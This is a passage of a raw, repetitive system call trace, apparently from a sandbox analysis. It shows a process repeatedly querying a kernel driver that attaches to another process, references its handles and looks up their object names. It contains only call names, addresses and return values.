AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001558990, HandleInformation=0x0) returned 0x0 [0136.139] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.139] PsReleaseProcessExitSynchronization () returned 0x2 [0136.139] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.139] ObQueryNameString (in: Object=0xfffff8a001558990, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.139] ObfDereferenceObject (Object=0xfffff8a001558990) returned 0x1 [0136.139] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.139] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.139] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.139] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.139] PsAcquireProcessExitSynchronization () returned 0x0 [0136.139] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.139] ObReferenceObjectByHandle (in: Handle=0x184, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0015bffc0, HandleInformation=0x0) returned 0x0 [0136.139] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.139] PsReleaseProcessExitSynchronization () returned 0x2 [0136.139] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.139] ObQueryNameString (in: Object=0xfffff8a0015bffc0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.139] ObfDereferenceObject (Object=0xfffff8a0015bffc0) returned 0x1 [0136.139] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.140] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.140] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.140] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.140] PsAcquireProcessExitSynchronization () returned 0x0 [0136.140] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.140] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001df1770, HandleInformation=0x0) returned 0x0 [0136.140] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.140] PsReleaseProcessExitSynchronization () returned 0x2 [0136.140] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.140] ObQueryNameString (in: Object=0xfffff8a001df1770, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.140] ObfDereferenceObject (Object=0xfffff8a001df1770) returned 0x1 [0136.140] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.140] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.140] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.140] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.140] PsAcquireProcessExitSynchronization () returned 0x0 [0136.140] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.140] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00180a5e0, HandleInformation=0x0) returned 0x0 [0136.140] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.140] PsReleaseProcessExitSynchronization () returned 0x2 [0136.140] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.140] ObQueryNameString (in: Object=0xfffff8a00180a5e0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.140] ObfDereferenceObject (Object=0xfffff8a00180a5e0) returned 0x1 [0136.140] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.140] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.140] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.140] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.140] PsAcquireProcessExitSynchronization () returned 0x0 [0136.140] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.140] ObReferenceObjectByHandle (in: Handle=0x1e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001a13540, HandleInformation=0x0) returned 0x0 [0136.140] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.140] PsReleaseProcessExitSynchronization () returned 0x2 [0136.141] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.141] ObQueryNameString (in: Object=0xfffff8a001a13540, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.141] ObfDereferenceObject (Object=0xfffff8a001a13540) returned 0x1 [0136.141] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.141] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.141] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.141] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.141] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.141] PsAcquireProcessExitSynchronization () returned 0x0 [0136.141] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.141] ObReferenceObjectByHandle (in: Handle=0x1ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001248470, HandleInformation=0x0) returned 0x0 [0136.141] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.141] PsReleaseProcessExitSynchronization () returned 0x2 [0136.141] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.141] ObQueryNameString (in: Object=0xfffff8a001248470, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.141] ObfDereferenceObject (Object=0xfffff8a001248470) returned 0x1 [0136.141] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.141] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.141] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.141] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.141] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.141] PsAcquireProcessExitSynchronization () returned 0x0 [0136.141] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.141] ObReferenceObjectByHandle (in: Handle=0x1f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00193ffc0, HandleInformation=0x0) returned 0x0 [0136.141] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.141] PsReleaseProcessExitSynchronization () returned 0x2 [0136.141] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.141] ObQueryNameString (in: Object=0xfffff8a00193ffc0, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.141] ObfDereferenceObject (Object=0xfffff8a00193ffc0) returned 0x1 [0136.141] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.141] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.141] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.141] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.142] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.142] PsAcquireProcessExitSynchronization () returned 0x0 [0136.142] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.142] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001984fc0, HandleInformation=0x0) returned 0x0 [0136.142] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.142] PsReleaseProcessExitSynchronization () returned 0x2 [0136.142] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.142] ObQueryNameString (in: Object=0xfffff8a001984fc0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.142] ObfDereferenceObject (Object=0xfffff8a001984fc0) returned 0x1 [0136.142] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.142] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.142] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.142] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.142] PsAcquireProcessExitSynchronization () returned 0x0 [0136.142] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.142] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0016d4ba0, HandleInformation=0x0) returned 0x0 [0136.142] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.142] PsReleaseProcessExitSynchronization () returned 0x2 [0136.142] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.142] ObQueryNameString (in: Object=0xfffff8a0016d4ba0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.142] ObfDereferenceObject (Object=0xfffff8a0016d4ba0) returned 0x1 [0136.142] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.142] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.142] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.142] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.142] PsAcquireProcessExitSynchronization () returned 0x0 [0136.142] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.142] ObReferenceObjectByHandle (in: Handle=0x220, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0016e6060, HandleInformation=0x0) returned 0x0 [0136.142] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.142] PsReleaseProcessExitSynchronization () returned 0x2 [0136.142] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.142] ObQueryNameString (in: Object=0xfffff8a0016e6060, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.142] ObfDereferenceObject (Object=0xfffff8a0016e6060) returned 0x1 [0136.143] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.143] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.143] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.143] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.143] PsAcquireProcessExitSynchronization () returned 0x0 [0136.143] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.143] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001504170, HandleInformation=0x0) returned 0x0 [0136.143] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.143] PsReleaseProcessExitSynchronization () returned 0x2 [0136.143] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.143] ObQueryNameString (in: Object=0xfffff8a001504170, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.143] ObfDereferenceObject (Object=0xfffff8a001504170) returned 0x1 [0136.143] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.143] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.143] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.143] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.143] PsAcquireProcessExitSynchronization () returned 0x0 [0136.143] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.143] ObReferenceObjectByHandle (in: Handle=0x22c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001a2cd30, HandleInformation=0x0) returned 0x0 [0136.143] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.143] PsReleaseProcessExitSynchronization () returned 0x2 [0136.143] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.143] ObQueryNameString (in: Object=0xfffff8a001a2cd30, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.143] ObfDereferenceObject (Object=0xfffff8a001a2cd30) returned 0x1 [0136.143] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.143] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.143] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.143] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.143] PsAcquireProcessExitSynchronization () returned 0x0 [0136.143] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.143] ObReferenceObjectByHandle (in: Handle=0x230, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001a5e540, HandleInformation=0x0) returned 0x0 [0136.143] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.143] PsReleaseProcessExitSynchronization () returned 0x2 [0136.144] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.144] ObQueryNameString (in: Object=0xfffff8a001a5e540, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.144] ObfDereferenceObject (Object=0xfffff8a001a5e540) returned 0x1 [0136.144] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.144] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.144] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.144] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.144] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.144] PsAcquireProcessExitSynchronization () returned 0x0 [0136.144] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.144] ObReferenceObjectByHandle (in: Handle=0x240, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001703f70, HandleInformation=0x0) returned 0x0 [0136.144] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.144] PsReleaseProcessExitSynchronization () returned 0x2 [0136.144] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.144] ObQueryNameString (in: Object=0xfffff8a001703f70, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.144] ObfDereferenceObject (Object=0xfffff8a001703f70) returned 0x1 [0136.144] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.144] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.144] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.144] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.144] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.144] PsAcquireProcessExitSynchronization () returned 0x0 [0136.144] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.144] ObReferenceObjectByHandle (in: Handle=0x248, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001b65390, HandleInformation=0x0) returned 0x0 [0136.144] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.144] PsReleaseProcessExitSynchronization () returned 0x2 [0136.144] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.144] ObQueryNameString (in: Object=0xfffff8a001b65390, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0136.144] ObfDereferenceObject (Object=0xfffff8a001b65390) returned 0x1 [0136.144] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.144] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.144] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.144] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0136.144] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.145] PsAcquireProcessExitSynchronization () returned 0x0 [0136.145] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.145] ObReferenceObjectByHandle (in: Handle=0x24c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800348e200, HandleInformation=0x0) returned 0x0 [0136.145] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.145] PsReleaseProcessExitSynchronization () returned 0x2 [0136.145] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.145] ObQueryNameString (in: Object=0xfffffa800348e200, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.145] ObfDereferenceObject (Object=0xfffffa800348e200) returned 0x2 [0136.145] IofCompleteRequest 